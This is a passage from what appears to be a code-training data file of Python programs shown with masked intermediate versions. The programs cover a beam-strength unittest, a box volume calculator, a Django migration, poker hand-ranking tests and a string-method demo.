300\n r = beam_strength.cal_σ1(b,h0,As,n,M)\n s = beam_strength.shear_stress(b,h0,As,n,V)\n print('σc,σs,x = \\n',r)\n print('τ = ',s)\n M1 = 10\n M2 = 10\n σs = r[1]\n Es = 2.0E5\n d = 28\n a = 62.5\n n1 = As/(pi/4*d**2)\n wf = crack_width.solve_wf(M1,M2,M,σs,Es,d,a,b,n1)\n print('wf = ',wf)\n\n def test_column_strength(self): #随意修改测试\n b = 1200\n h = 1200\n l0 = 5\n a = 90\n a_ = 90\n Ec = 3.45E4 #MPa\n As = 12316\n As_ = 12316\n n = 10\n M = 2800 #kN\n N = 14000\n r = column_strength.solve_stress(b,h,l0,a,a_,Ec,As,As_,n,M,N,0)\n print('σc,σs,σs\\'\\n',r)\n\nif __name__ == '__main__':\n unittest.main()\n", "step-ids": [ 4, 5, 6, 8, 9 ] }
[ 4, 5, 6, 8, 9 ]
l, w, h = map(int, input().split()) TSA = 2 * (l * w + w * h + h * l) V = l * w * h print(TSA, V)
normal
{ "blob_id": "d3382ead1d98ba2fb15fe3ea277430f1bb07131c", "index": 2544, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint(TSA, V)\n", "step-3": "l, w, h = map(int, input().split())\nTSA = 2 * (l * w + w * h + h * l)\nV = l * w * h\nprint(TSA, V)\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Migration(migrations.Migration): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Migration(migrations.Migration): dependencies = [('core', '0002_ordered')] operations = [migrations.AlterField(model_name='generalinfo', name= 'amount_available', field=models.IntegerField(blank=True, default= False, null=True, verbose_name='У наявності')), migrations. AlterField(model_name='generalinfo', name='image', field=models. URLField(blank=True))] <|reserved_special_token_1|> from django.db import migrations, models class Migration(migrations.Migration): dependencies = [('core', '0002_ordered')] operations = [migrations.AlterField(model_name='generalinfo', name= 'amount_available', field=models.IntegerField(blank=True, default= False, null=True, verbose_name='У наявності')), migrations. AlterField(model_name='generalinfo', name='image', field=models. URLField(blank=True))] <|reserved_special_token_1|> # Generated by Django 2.2.4 on 2019-09-09 11:00 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('core', '0002_ordered'), ] operations = [ migrations.AlterField( model_name='generalinfo', name='amount_available', field=models.IntegerField(blank=True, default=False, null=True, verbose_name='У наявності'), ), migrations.AlterField( model_name='generalinfo', name='image', field=models.URLField(blank=True), ), ]
flexible
{ "blob_id": "8af9cc32b445402fa790b29382a802bd8afc1100", "index": 5655, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('core', '0002_ordered')]\n operations = [migrations.AlterField(model_name='generalinfo', name=\n 'amount_available', field=models.IntegerField(blank=True, default=\n False, null=True, verbose_name='У наявності')), migrations.\n AlterField(model_name='generalinfo', name='image', field=models.\n URLField(blank=True))]\n", "step-4": "from django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n dependencies = [('core', '0002_ordered')]\n operations = [migrations.AlterField(model_name='generalinfo', name=\n 'amount_available', field=models.IntegerField(blank=True, default=\n False, null=True, verbose_name='У наявності')), migrations.\n AlterField(model_name='generalinfo', name='image', field=models.\n URLField(blank=True))]\n", "step-5": "# Generated by Django 2.2.4 on 2019-09-09 11:00\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('core', '0002_ordered'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='generalinfo',\n name='amount_available',\n field=models.IntegerField(blank=True, default=False, null=True, verbose_name='У наявності'),\n ),\n migrations.AlterField(\n model_name='generalinfo',\n name='image',\n field=models.URLField(blank=True),\n ),\n ]\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
# def test_categories: # ["5S", "5H", "5D", "4S", "4H", "4D", "3D", "3S"] import unittest from poker import Hand, makeCard, Rank, count_ranks, RankCount, max_straight class TestHand(unittest.TestCase): # def test_heap_multiples(self): # heaped_multiples = Hand.heap_multiples({"J":4, "2":3}) # print heaped_multiples # self.assertEqual(heaped_multiples, [(4, "J"), (3,"2")], "failure in heap_multiples") def test_max_straight(self): cards = map(makeCard, ["10S", "6S", "9S", "8S", "7S"]) straight = max_straight(cards) self.assertEqual(straight, sorted(map(makeCard, ["10S", "6S", "9S", "8S", "7S"]), reverse=True)) cards = map(makeCard, ["10S", "6S", "9S", "8S", "8C", "7S"]) straight = max_straight(cards) self.assertEqual(straight, sorted(map(makeCard, ["10S", "6S", "9S", "8S", "7S"]), reverse=True)) cards = map(makeCard, ["10S", "6S", "9S", "8S", "5C", "7S"]) straight = max_straight(cards) self.assertEqual(straight, sorted(map(makeCard, ["10S", "6S", "9S", "8S", "7S"]), reverse=True)) def test_categories(self): my_hand = Hand(["KH", "QH", "JH", "AH", "10H"]) self.assertEqual(my_hand.category, Hand.Categories.straight_flush) my_hand = Hand(["10S", "6S", "9S", "8S", "7S"]) self.assertEqual(my_hand.category, Hand.Categories.straight_flush) my_hand = Hand(["JH", "JC", "9H", "JS", "JD"]) self.assertEqual(my_hand.category, Hand.Categories.four_of_a_kind) my_hand = Hand(["JH", "JC", "JS", "9D", "9H"]) self.assertEqual(my_hand.category, Hand.Categories.full_house) my_hand = Hand(["10S", "9S", "8S", "5S", "6S"]) self.assertEqual(my_hand.category, Hand.Categories.flush) my_hand = Hand(["10H", "6S", "9D", "8S", "7S"]) self.assertEqual(my_hand.category, Hand.Categories.straight) my_hand = Hand(["JH", "JC", "9H", "JS", "8D"]) self.assertEqual(my_hand.category, Hand.Categories.three_of_a_kind) my_hand = Hand(["JH", "JC", "QS", "9D", "9H"]) self.assertEqual(my_hand.category, Hand.Categories.two_pair) my_hand = Hand(["JH", "JC", "QS", "5D", "9H"]) self.assertEqual(my_hand.category, Hand.Categories.pair) my_hand = Hand(["JH", "3C", "4S", "5C", "9H"]) self.assertEqual(my_hand.category, Hand.Categories.high_card) def test_category_options(self): my_hand = Hand(["10H", "6S", "9D", "8S", "7S", "7D", "7H"]) self.assertEqual(my_hand.category, Hand.Categories.straight) my_hand = Hand(["10H", "6S", "9D", "8S", "7S", "7D", "7H", "7C"]) self.assertEqual(my_hand.category, Hand.Categories.four_of_a_kind) my_hand = Hand(["10H", "6S", "9D", "8S", "7S", "7D", "7H", "8C"]) self.assertEqual(my_hand.category, Hand.Categories.full_house) my_hand = Hand(["10S", "9S", "8S", "5S", "6S", "10H", "6D", "9D", "8C", "7C"]) self.assertEqual(my_hand.category, Hand.Categories.flush) my_hand = Hand(["KH", "QH", "JH", "AH", "10H", "10S", "6S", "9S", "8S", "7S"]) self.assertEqual(my_hand.category, Hand.Categories.straight_flush) # It gets the royal flush my_hand = Hand(["5S", "5H", "5D", "4S", "4H", "4D", "3D", "3S"]) self.assertEqual(my_hand.category, Hand.Categories.full_house) # It gets the fours my_hand = Hand(["5S", "5H", "5D", "5C", "4S", "4H", "3C", "3D", "3S"]) self.assertEqual(my_hand.category, Hand.Categories.four_of_a_kind) # get the 4 kicker def test_cmp(self): pair_to_high_card = Hand(["JH", "JC", "QS", "5D", "9H"]) < Hand(["JH", "3C", "4S", "5C", "9H"]) self.assertEqual(pair_to_high_card, False) straight_to_flush = Hand(["10H", "6S", "9D", "8S", "7S"]) < Hand(["10S", "9S", "8S", "5S", "6S"]) self.assertEqual(straight_to_flush, True) def test_deck_validation(self): """ Test with some hands that are impossible to form with a 52-card deck Five-of-a-kind Something that is both a flush and has a pair (flush wins) Something that is both a flush and four-of-a-kind (four-of-a-kind wins) """ pass if __name__ == '__main__': unittest.main()
normal
{ "blob_id": "5b8d1bd026e97bb7508a500048f940abf0253471", "index": 9698, "step-1": "<mask token>\n\n\nclass TestHand(unittest.TestCase):\n\n def test_max_straight(self):\n cards = map(makeCard, ['10S', '6S', '9S', '8S', '7S'])\n straight = max_straight(cards)\n self.assertEqual(straight, sorted(map(makeCard, ['10S', '6S', '9S',\n '8S', '7S']), reverse=True))\n cards = map(makeCard, ['10S', '6S', '9S', '8S', '8C', '7S'])\n straight = max_straight(cards)\n self.assertEqual(straight, sorted(map(makeCard, ['10S', '6S', '9S',\n '8S', '7S']), reverse=True))\n cards = map(makeCard, ['10S', '6S', '9S', '8S', '5C', '7S'])\n straight = max_straight(cards)\n self.assertEqual(straight, sorted(map(makeCard, ['10S', '6S', '9S',\n '8S', '7S']), reverse=True))\n\n def test_categories(self):\n my_hand = Hand(['KH', 'QH', 'JH', 'AH', '10H'])\n self.assertEqual(my_hand.category, Hand.Categories.straight_flush)\n my_hand = Hand(['10S', '6S', '9S', '8S', '7S'])\n self.assertEqual(my_hand.category, Hand.Categories.straight_flush)\n my_hand = Hand(['JH', 'JC', '9H', 'JS', 'JD'])\n self.assertEqual(my_hand.category, Hand.Categories.four_of_a_kind)\n my_hand = Hand(['JH', 'JC', 'JS', '9D', '9H'])\n self.assertEqual(my_hand.category, Hand.Categories.full_house)\n my_hand = Hand(['10S', '9S', '8S', '5S', '6S'])\n self.assertEqual(my_hand.category, Hand.Categories.flush)\n my_hand = Hand(['10H', '6S', '9D', '8S', '7S'])\n self.assertEqual(my_hand.category, Hand.Categories.straight)\n my_hand = Hand(['JH', 'JC', '9H', 'JS', '8D'])\n self.assertEqual(my_hand.category, Hand.Categories.three_of_a_kind)\n my_hand = Hand(['JH', 'JC', 'QS', '9D', '9H'])\n self.assertEqual(my_hand.category, Hand.Categories.two_pair)\n my_hand = Hand(['JH', 'JC', 'QS', '5D', '9H'])\n self.assertEqual(my_hand.category, Hand.Categories.pair)\n my_hand = Hand(['JH', '3C', '4S', '5C', '9H'])\n self.assertEqual(my_hand.category, Hand.Categories.high_card)\n <mask token>\n\n def test_cmp(self):\n pair_to_high_card = Hand(['JH', 'JC', 'QS', '5D', '9H']) < Hand([\n 'JH', '3C', '4S', '5C', '9H'])\n self.assertEqual(pair_to_high_card, False)\n straight_to_flush = Hand(['10H', '6S', '9D', '8S', '7S']) < Hand([\n '10S', '9S', '8S', '5S', '6S'])\n self.assertEqual(straight_to_flush, True)\n\n def test_deck_validation(self):\n \"\"\"\n \tTest with some hands that are impossible to form with a 52-card deck\n \tFive-of-a-kind\n \tSomething that is both a flush and has a pair (flush wins)\n \tSomething that is both a flush and four-of-a-kind (four-of-a-kind wins)\n \t\"\"\"\n pass\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass TestHand(unittest.TestCase):\n\n def test_max_straight(self):\n cards = map(makeCard, ['10S', '6S', '9S', '8S', '7S'])\n straight = max_straight(cards)\n self.assertEqual(straight, sorted(map(makeCard, ['10S', '6S', '9S',\n '8S', '7S']), reverse=True))\n cards = map(makeCard, ['10S', '6S', '9S', '8S', '8C', '7S'])\n straight = max_straight(cards)\n self.assertEqual(straight, sorted(map(makeCard, ['10S', '6S', '9S',\n '8S', '7S']), reverse=True))\n cards = map(makeCard, ['10S', '6S', '9S', '8S', '5C', '7S'])\n straight = max_straight(cards)\n self.assertEqual(straight, sorted(map(makeCard, ['10S', '6S', '9S',\n '8S', '7S']), reverse=True))\n\n def test_categories(self):\n my_hand = Hand(['KH', 'QH', 'JH', 'AH', '10H'])\n self.assertEqual(my_hand.category, Hand.Categories.straight_flush)\n my_hand = Hand(['10S', '6S', '9S', '8S', '7S'])\n self.assertEqual(my_hand.category, Hand.Categories.straight_flush)\n my_hand = Hand(['JH', 'JC', '9H', 'JS', 'JD'])\n self.assertEqual(my_hand.category, Hand.Categories.four_of_a_kind)\n my_hand = Hand(['JH', 'JC', 'JS', '9D', '9H'])\n self.assertEqual(my_hand.category, Hand.Categories.full_house)\n my_hand = Hand(['10S', '9S', '8S', '5S', '6S'])\n self.assertEqual(my_hand.category, Hand.Categories.flush)\n my_hand = Hand(['10H', '6S', '9D', '8S', '7S'])\n self.assertEqual(my_hand.category, Hand.Categories.straight)\n my_hand = Hand(['JH', 'JC', '9H', 'JS', '8D'])\n self.assertEqual(my_hand.category, Hand.Categories.three_of_a_kind)\n my_hand = Hand(['JH', 'JC', 'QS', '9D', '9H'])\n self.assertEqual(my_hand.category, Hand.Categories.two_pair)\n my_hand = Hand(['JH', 'JC', 'QS', '5D', '9H'])\n self.assertEqual(my_hand.category, Hand.Categories.pair)\n my_hand = Hand(['JH', '3C', '4S', '5C', '9H'])\n self.assertEqual(my_hand.category, Hand.Categories.high_card)\n\n def test_category_options(self):\n my_hand = Hand(['10H', '6S', '9D', '8S', '7S', '7D', '7H'])\n self.assertEqual(my_hand.category, Hand.Categories.straight)\n my_hand = Hand(['10H', '6S', '9D', '8S', '7S', '7D', '7H', '7C'])\n self.assertEqual(my_hand.category, Hand.Categories.four_of_a_kind)\n my_hand = Hand(['10H', '6S', '9D', '8S', '7S', '7D', '7H', '8C'])\n self.assertEqual(my_hand.category, Hand.Categories.full_house)\n my_hand = Hand(['10S', '9S', '8S', '5S', '6S', '10H', '6D', '9D',\n '8C', '7C'])\n self.assertEqual(my_hand.category, Hand.Categories.flush)\n my_hand = Hand(['KH', 'QH', 'JH', 'AH', '10H', '10S', '6S', '9S',\n '8S', '7S'])\n self.assertEqual(my_hand.category, Hand.Categories.straight_flush)\n my_hand = Hand(['5S', '5H', '5D', '4S', '4H', '4D', '3D', '3S'])\n self.assertEqual(my_hand.category, Hand.Categories.full_house)\n my_hand = Hand(['5S', '5H', '5D', '5C', '4S', '4H', '3C', '3D', '3S'])\n self.assertEqual(my_hand.category, Hand.Categories.four_of_a_kind)\n\n def test_cmp(self):\n pair_to_high_card = Hand(['JH', 'JC', 'QS', '5D', '9H']) < Hand([\n 'JH', '3C', '4S', '5C', '9H'])\n self.assertEqual(pair_to_high_card, False)\n straight_to_flush = Hand(['10H', '6S', '9D', '8S', '7S']) < Hand([\n '10S', '9S', '8S', '5S', '6S'])\n self.assertEqual(straight_to_flush, True)\n\n def test_deck_validation(self):\n \"\"\"\n \tTest with some hands that are impossible to form with a 52-card deck\n \tFive-of-a-kind\n \tSomething that is both a flush and has a pair (flush wins)\n \tSomething that is both a flush and four-of-a-kind (four-of-a-kind wins)\n \t\"\"\"\n pass\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass TestHand(unittest.TestCase):\n\n def test_max_straight(self):\n cards = map(makeCard, ['10S', '6S', '9S', '8S', '7S'])\n straight = max_straight(cards)\n self.assertEqual(straight, sorted(map(makeCard, ['10S', '6S', '9S',\n '8S', '7S']), reverse=True))\n cards = map(makeCard, ['10S', '6S', '9S', '8S', '8C', '7S'])\n straight = max_straight(cards)\n self.assertEqual(straight, sorted(map(makeCard, ['10S', '6S', '9S',\n '8S', '7S']), reverse=True))\n cards = map(makeCard, ['10S', '6S', '9S', '8S', '5C', '7S'])\n straight = max_straight(cards)\n self.assertEqual(straight, sorted(map(makeCard, ['10S', '6S', '9S',\n '8S', '7S']), reverse=True))\n\n def test_categories(self):\n my_hand = Hand(['KH', 'QH', 'JH', 'AH', '10H'])\n self.assertEqual(my_hand.category, Hand.Categories.straight_flush)\n my_hand = Hand(['10S', '6S', '9S', '8S', '7S'])\n self.assertEqual(my_hand.category, Hand.Categories.straight_flush)\n my_hand = Hand(['JH', 'JC', '9H', 'JS', 'JD'])\n self.assertEqual(my_hand.category, Hand.Categories.four_of_a_kind)\n my_hand = Hand(['JH', 'JC', 'JS', '9D', '9H'])\n self.assertEqual(my_hand.category, Hand.Categories.full_house)\n my_hand = Hand(['10S', '9S', '8S', '5S', '6S'])\n self.assertEqual(my_hand.category, Hand.Categories.flush)\n my_hand = Hand(['10H', '6S', '9D', '8S', '7S'])\n self.assertEqual(my_hand.category, Hand.Categories.straight)\n my_hand = Hand(['JH', 'JC', '9H', 'JS', '8D'])\n self.assertEqual(my_hand.category, Hand.Categories.three_of_a_kind)\n my_hand = Hand(['JH', 'JC', 'QS', '9D', '9H'])\n self.assertEqual(my_hand.category, Hand.Categories.two_pair)\n my_hand = Hand(['JH', 'JC', 'QS', '5D', '9H'])\n self.assertEqual(my_hand.category, Hand.Categories.pair)\n my_hand = Hand(['JH', '3C', '4S', '5C', '9H'])\n self.assertEqual(my_hand.category, Hand.Categories.high_card)\n\n def test_category_options(self):\n my_hand = Hand(['10H', '6S', '9D', '8S', '7S', '7D', '7H'])\n self.assertEqual(my_hand.category, Hand.Categories.straight)\n my_hand = Hand(['10H', '6S', '9D', '8S', '7S', '7D', '7H', '7C'])\n self.assertEqual(my_hand.category, Hand.Categories.four_of_a_kind)\n my_hand = Hand(['10H', '6S', '9D', '8S', '7S', '7D', '7H', '8C'])\n self.assertEqual(my_hand.category, Hand.Categories.full_house)\n my_hand = Hand(['10S', '9S', '8S', '5S', '6S', '10H', '6D', '9D',\n '8C', '7C'])\n self.assertEqual(my_hand.category, Hand.Categories.flush)\n my_hand = Hand(['KH', 'QH', 'JH', 'AH', '10H', '10S', '6S', '9S',\n '8S', '7S'])\n self.assertEqual(my_hand.category, Hand.Categories.straight_flush)\n my_hand = Hand(['5S', '5H', '5D', '4S', '4H', '4D', '3D', '3S'])\n self.assertEqual(my_hand.category, Hand.Categories.full_house)\n my_hand = Hand(['5S', '5H', '5D', '5C', '4S', '4H', '3C', '3D', '3S'])\n self.assertEqual(my_hand.category, Hand.Categories.four_of_a_kind)\n\n def test_cmp(self):\n pair_to_high_card = Hand(['JH', 'JC', 'QS', '5D', '9H']) < Hand([\n 'JH', '3C', '4S', '5C', '9H'])\n self.assertEqual(pair_to_high_card, False)\n straight_to_flush = Hand(['10H', '6S', '9D', '8S', '7S']) < Hand([\n '10S', '9S', '8S', '5S', '6S'])\n self.assertEqual(straight_to_flush, True)\n\n def test_deck_validation(self):\n \"\"\"\n \tTest with some hands that are impossible to form with a 52-card deck\n \tFive-of-a-kind\n \tSomething that is both a flush and has a pair (flush wins)\n \tSomething that is both a flush and four-of-a-kind (four-of-a-kind wins)\n \t\"\"\"\n pass\n\n\nif __name__ == '__main__':\n unittest.main()\n", "step-4": "import unittest\nfrom poker import Hand, makeCard, Rank, count_ranks, RankCount, max_straight\n\n\nclass TestHand(unittest.TestCase):\n\n def test_max_straight(self):\n cards = map(makeCard, ['10S', '6S', '9S', '8S', '7S'])\n straight = max_straight(cards)\n self.assertEqual(straight, sorted(map(makeCard, ['10S', '6S', '9S',\n '8S', '7S']), reverse=True))\n cards = map(makeCard, ['10S', '6S', '9S', '8S', '8C', '7S'])\n straight = max_straight(cards)\n self.assertEqual(straight, sorted(map(makeCard, ['10S', '6S', '9S',\n '8S', '7S']), reverse=True))\n cards = map(makeCard, ['10S', '6S', '9S', '8S', '5C', '7S'])\n straight = max_straight(cards)\n self.assertEqual(straight, sorted(map(makeCard, ['10S', '6S', '9S',\n '8S', '7S']), reverse=True))\n\n def test_categories(self):\n my_hand = Hand(['KH', 'QH', 'JH', 'AH', '10H'])\n self.assertEqual(my_hand.category, Hand.Categories.straight_flush)\n my_hand = Hand(['10S', '6S', '9S', '8S', '7S'])\n self.assertEqual(my_hand.category, Hand.Categories.straight_flush)\n my_hand = Hand(['JH', 'JC', '9H', 'JS', 'JD'])\n self.assertEqual(my_hand.category, Hand.Categories.four_of_a_kind)\n my_hand = Hand(['JH', 'JC', 'JS', '9D', '9H'])\n self.assertEqual(my_hand.category, Hand.Categories.full_house)\n my_hand = Hand(['10S', '9S', '8S', '5S', '6S'])\n self.assertEqual(my_hand.category, Hand.Categories.flush)\n my_hand = Hand(['10H', '6S', '9D', '8S', '7S'])\n self.assertEqual(my_hand.category, Hand.Categories.straight)\n my_hand = Hand(['JH', 'JC', '9H', 'JS', '8D'])\n self.assertEqual(my_hand.category, Hand.Categories.three_of_a_kind)\n my_hand = Hand(['JH', 'JC', 'QS', '9D', '9H'])\n self.assertEqual(my_hand.category, Hand.Categories.two_pair)\n my_hand = Hand(['JH', 'JC', 'QS', '5D', '9H'])\n self.assertEqual(my_hand.category, Hand.Categories.pair)\n my_hand = Hand(['JH', '3C', '4S', '5C', '9H'])\n self.assertEqual(my_hand.category, Hand.Categories.high_card)\n\n def test_category_options(self):\n my_hand = Hand(['10H', '6S', '9D', '8S', '7S', '7D', '7H'])\n self.assertEqual(my_hand.category, Hand.Categories.straight)\n my_hand = Hand(['10H', '6S', '9D', '8S', '7S', '7D', '7H', '7C'])\n self.assertEqual(my_hand.category, Hand.Categories.four_of_a_kind)\n my_hand = Hand(['10H', '6S', '9D', '8S', '7S', '7D', '7H', '8C'])\n self.assertEqual(my_hand.category, Hand.Categories.full_house)\n my_hand = Hand(['10S', '9S', '8S', '5S', '6S', '10H', '6D', '9D',\n '8C', '7C'])\n self.assertEqual(my_hand.category, Hand.Categories.flush)\n my_hand = Hand(['KH', 'QH', 'JH', 'AH', '10H', '10S', '6S', '9S',\n '8S', '7S'])\n self.assertEqual(my_hand.category, Hand.Categories.straight_flush)\n my_hand = Hand(['5S', '5H', '5D', '4S', '4H', '4D', '3D', '3S'])\n self.assertEqual(my_hand.category, Hand.Categories.full_house)\n my_hand = Hand(['5S', '5H', '5D', '5C', '4S', '4H', '3C', '3D', '3S'])\n self.assertEqual(my_hand.category, Hand.Categories.four_of_a_kind)\n\n def test_cmp(self):\n pair_to_high_card = Hand(['JH', 'JC', 'QS', '5D', '9H']) < Hand([\n 'JH', '3C', '4S', '5C', '9H'])\n self.assertEqual(pair_to_high_card, False)\n straight_to_flush = Hand(['10H', '6S', '9D', '8S', '7S']) < Hand([\n '10S', '9S', '8S', '5S', '6S'])\n self.assertEqual(straight_to_flush, True)\n\n def test_deck_validation(self):\n \"\"\"\n \tTest with some hands that are impossible to form with a 52-card deck\n \tFive-of-a-kind\n \tSomething that is both a flush and has a pair (flush wins)\n \tSomething that is both a flush and four-of-a-kind (four-of-a-kind wins)\n \t\"\"\"\n pass\n\n\nif __name__ == '__main__':\n unittest.main()\n", "step-5": "# def test_categories:\n\t\n\n# [\"5S\", \"5H\", \"5D\", \"4S\", \"4H\", \"4D\", \"3D\", \"3S\"] \n\nimport unittest\n\nfrom poker import Hand, makeCard, Rank, count_ranks, RankCount, max_straight\n\nclass TestHand(unittest.TestCase):\n\n # def test_heap_multiples(self):\n # \theaped_multiples = Hand.heap_multiples({\"J\":4, \"2\":3})\n # \tprint heaped_multiples\n # \tself.assertEqual(heaped_multiples, [(4, \"J\"), (3,\"2\")], \"failure in heap_multiples\")\n\n def test_max_straight(self):\n \tcards = map(makeCard, [\"10S\", \"6S\", \"9S\", \"8S\", \"7S\"])\n \tstraight = max_straight(cards)\n \tself.assertEqual(straight, sorted(map(makeCard, [\"10S\", \"6S\", \"9S\", \"8S\", \"7S\"]), reverse=True))\n\n \tcards = map(makeCard, [\"10S\", \"6S\", \"9S\", \"8S\", \"8C\", \"7S\"])\n \tstraight = max_straight(cards)\n \tself.assertEqual(straight, sorted(map(makeCard, [\"10S\", \"6S\", \"9S\", \"8S\", \"7S\"]), reverse=True))\n\n \tcards = map(makeCard, [\"10S\", \"6S\", \"9S\", \"8S\", \"5C\", \"7S\"])\n \tstraight = max_straight(cards)\n \tself.assertEqual(straight, sorted(map(makeCard, [\"10S\", \"6S\", \"9S\", \"8S\", \"7S\"]), reverse=True))\n\n def test_categories(self):\n\n \tmy_hand = Hand([\"KH\", \"QH\", \"JH\", \"AH\", \"10H\"])\n \tself.assertEqual(my_hand.category, Hand.Categories.straight_flush)\n\n \tmy_hand = Hand([\"10S\", \"6S\", \"9S\", \"8S\", \"7S\"])\n \tself.assertEqual(my_hand.category, Hand.Categories.straight_flush)\n\n \tmy_hand = Hand([\"JH\", \"JC\", \"9H\", \"JS\", \"JD\"])\n \tself.assertEqual(my_hand.category, Hand.Categories.four_of_a_kind)\n\n \tmy_hand = Hand([\"JH\", \"JC\", \"JS\", \"9D\", \"9H\"])\n \tself.assertEqual(my_hand.category, Hand.Categories.full_house)\n\n \tmy_hand = Hand([\"10S\", \"9S\", \"8S\", \"5S\", \"6S\"])\n \tself.assertEqual(my_hand.category, Hand.Categories.flush)\n\n \tmy_hand = Hand([\"10H\", \"6S\", \"9D\", \"8S\", \"7S\"])\n \tself.assertEqual(my_hand.category, Hand.Categories.straight)\n\n \tmy_hand = Hand([\"JH\", \"JC\", \"9H\", \"JS\", \"8D\"])\n \tself.assertEqual(my_hand.category, Hand.Categories.three_of_a_kind)\n\n \tmy_hand = Hand([\"JH\", \"JC\", \"QS\", \"9D\", \"9H\"])\n \tself.assertEqual(my_hand.category, Hand.Categories.two_pair)\n\n \tmy_hand = Hand([\"JH\", \"JC\", \"QS\", \"5D\", \"9H\"])\n \tself.assertEqual(my_hand.category, Hand.Categories.pair)\n\n \tmy_hand = Hand([\"JH\", \"3C\", \"4S\", \"5C\", \"9H\"])\n \tself.assertEqual(my_hand.category, Hand.Categories.high_card)\n\n def test_category_options(self):\n\n \tmy_hand = Hand([\"10H\", \"6S\", \"9D\", \"8S\", \"7S\", \"7D\", \"7H\"])\n \tself.assertEqual(my_hand.category, Hand.Categories.straight)\n\n \tmy_hand = Hand([\"10H\", \"6S\", \"9D\", \"8S\", \"7S\", \"7D\", \"7H\", \"7C\"])\n \tself.assertEqual(my_hand.category, Hand.Categories.four_of_a_kind)\n\n \tmy_hand = Hand([\"10H\", \"6S\", \"9D\", \"8S\", \"7S\", \"7D\", \"7H\", \"8C\"])\n \tself.assertEqual(my_hand.category, Hand.Categories.full_house)\n\n \tmy_hand = Hand([\"10S\", \"9S\", \"8S\", \"5S\", \"6S\", \"10H\", \"6D\", \"9D\", \"8C\", \"7C\"])\n \tself.assertEqual(my_hand.category, Hand.Categories.flush)\n\n \tmy_hand = Hand([\"KH\", \"QH\", \"JH\", \"AH\", \"10H\", \"10S\", \"6S\", \"9S\", \"8S\", \"7S\"])\n \tself.assertEqual(my_hand.category, Hand.Categories.straight_flush)\n \t# It gets the royal flush\n\n \tmy_hand = Hand([\"5S\", \"5H\", \"5D\", \"4S\", \"4H\", \"4D\", \"3D\", \"3S\"])\n \tself.assertEqual(my_hand.category, Hand.Categories.full_house)\n \t# It gets the fours\n\n \tmy_hand = Hand([\"5S\", \"5H\", \"5D\", \"5C\", \"4S\", \"4H\", \"3C\", \"3D\", \"3S\"])\n \tself.assertEqual(my_hand.category, Hand.Categories.four_of_a_kind)\n \t# get the 4 kicker\n\n\n\n def test_cmp(self):\n \tpair_to_high_card = Hand([\"JH\", \"JC\", \"QS\", \"5D\", \"9H\"]) < Hand([\"JH\", \"3C\", \"4S\", \"5C\", \"9H\"])\n \tself.assertEqual(pair_to_high_card, False)\n\n \tstraight_to_flush = Hand([\"10H\", \"6S\", \"9D\", \"8S\", \"7S\"]) < Hand([\"10S\", \"9S\", \"8S\", \"5S\", \"6S\"])\n \tself.assertEqual(straight_to_flush, True)\n\n\n def test_deck_validation(self):\n \t\"\"\"\n \tTest with some hands that are impossible to form with a 52-card deck\n \tFive-of-a-kind\n \tSomething that is both a flush and has a pair (flush wins)\n \tSomething that is both a flush and four-of-a-kind (four-of-a-kind wins)\n \t\"\"\"\n \tpass\n\nif __name__ == '__main__':\n unittest.main()", "step-ids": [ 5, 6, 7, 8, 9 ] }
[ 5, 6, 7, 8, 9 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> print("this's rstrip() function---------") print(str1.rstrip('c')) print(str1.rstrip('d')) <|reserved_special_token_0|> print("this's replace function----------") print(str3.replace('is', 'was')) print(str3.replace('is', 'was', 3)) <|reserved_special_token_1|> str1 = 'djcc' str2 = 'adcd' print("this's rstrip() function---------") print(str1.rstrip('c')) print(str1.rstrip('d')) str3 = 'this is history,it is not fake' print("this's replace function----------") print(str3.replace('is', 'was')) print(str3.replace('is', 'was', 3)) <|reserved_special_token_1|> #coding:utf-8 #base string opeate #rstrip()删除字符串末尾被指定的字符,默认是空格,如末尾有多个相同的字符,则一并删除 str1="djcc" str2="adcd" print("this's rstrip() function---------") print(str1.rstrip("c")) print(str1.rstrip("d")) #replace()用新字符替换字符串中被指定的字符,str.replace(old, new[, max]),max表示替换多少个,如不指定,全部替换 str3="this is history,it is not fake" print("this's replace function----------") print(str3.replace("is","was")) print(str3.replace("is","was",3))#索引从1开始,0不算 #
flexible
{ "blob_id": "59170e6b0b0705b9908ed1c32bbea87373126594", "index": 9484, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint(\"this's rstrip() function---------\")\nprint(str1.rstrip('c'))\nprint(str1.rstrip('d'))\n<mask token>\nprint(\"this's replace function----------\")\nprint(str3.replace('is', 'was'))\nprint(str3.replace('is', 'was', 3))\n", "step-3": "str1 = 'djcc'\nstr2 = 'adcd'\nprint(\"this's rstrip() function---------\")\nprint(str1.rstrip('c'))\nprint(str1.rstrip('d'))\nstr3 = 'this is history,it is not fake'\nprint(\"this's replace function----------\")\nprint(str3.replace('is', 'was'))\nprint(str3.replace('is', 'was', 3))\n", "step-4": "#coding:utf-8\n\n#base string opeate\n\n#rstrip()删除字符串末尾被指定的字符,默认是空格,如末尾有多个相同的字符,则一并删除\nstr1=\"djcc\"\nstr2=\"adcd\"\nprint(\"this's rstrip() function---------\")\nprint(str1.rstrip(\"c\"))\nprint(str1.rstrip(\"d\"))\n\n\n#replace()用新字符替换字符串中被指定的字符,str.replace(old, new[, max]),max表示替换多少个,如不指定,全部替换\n\nstr3=\"this is history,it is not fake\"\nprint(\"this's replace function----------\")\nprint(str3.replace(\"is\",\"was\"))\nprint(str3.replace(\"is\",\"was\",3))#索引从1开始,0不算\n\n#\n\n\n\n\n\n\n\n\n\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
